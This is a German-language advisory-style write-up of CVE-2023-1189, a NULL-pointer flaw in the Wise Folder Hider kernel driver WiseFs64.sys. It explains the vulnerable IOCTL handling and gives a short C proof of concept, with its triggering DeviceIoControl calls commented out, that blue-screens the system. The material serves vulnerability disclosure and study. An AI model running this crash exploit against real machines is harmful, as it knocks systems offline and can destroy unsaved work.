
CVE-2023-1189 PoC & Exploit
| Eintrag | Detail |
|---|
| CVE ID | CVE-2023-1189 |
| Schwachstellentyp | Improper Resource Shutdown or Release (CWE-404) |
| Betroffene Software | WiseCleaner Wise Folder Hider |
| Betroffene Komponente | WiseFs64.sys (Kernel Driver) |
| Betroffene Version | 4.4.3.202 |
| CVSS | NVD - 5.5(Medium), VulDB - 3.3(Low) |
| Veröffentlichungsdatum | 2023.03.06 |
Diese Schwachstelle ermöglicht es einem Angreifer mit Benutzerrechten, durch bestimmte IOCTLs eine NULL-Pointer-Dereferenzierung im Kernel auszulösen, was das System in einen BSOD-Zustand versetzt. Es handelt sich um eine lokale Denial-of-Service-Schwachstelle.
Die Schwachstelle CVE-2023-1189 tritt im Kernel-Treiber WiseFs64.sys auf, der vom Setup des Wise Folder Hider Programms Version 4.4.3.202 erstellt wird.
Der gesamte Ablauf der Schwachstelle ist wie folgt:

Betrachten wir den Ablauf genauer:

Zunächst wird in der DriverEntry-Funktion die Funktion dispatchDeviceControl an Index 14 der Dispatch-Tabelle gesetzt.
Dadurch werden alle IOCTLs, die an \\.\WiseFs eingehen, an dispatchDeviceControl weitergeleitet.

Wenn die dispatchDeviceControl-Funktion aufgerufen wird, wird zunächst überprüft, ob es sich um das Steuergerät handelt. Wenn ja, wird die Funktion handleControlDeviceIoctl aufgerufen.

Die Funktion handleControlDeviceIoctl enthält die Logik zur Verarbeitung der tatsächlichen IOCTL-Codes.
Bei mehreren IOCTL-Codes, insbesondere 0x222400, 0x222404 und 0x222410, fehlt die Überprüfung, ob der Wert des Puffers NULL ist oder nicht.
Wenn daher die oben genannten IOCTLs aufgerufen werden, während der Puffer NULL ist, greift der Treiber auf den Puffer zu, was zu einer NULL-Pointer-Dereferenzierung und einem BSOD führt.
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}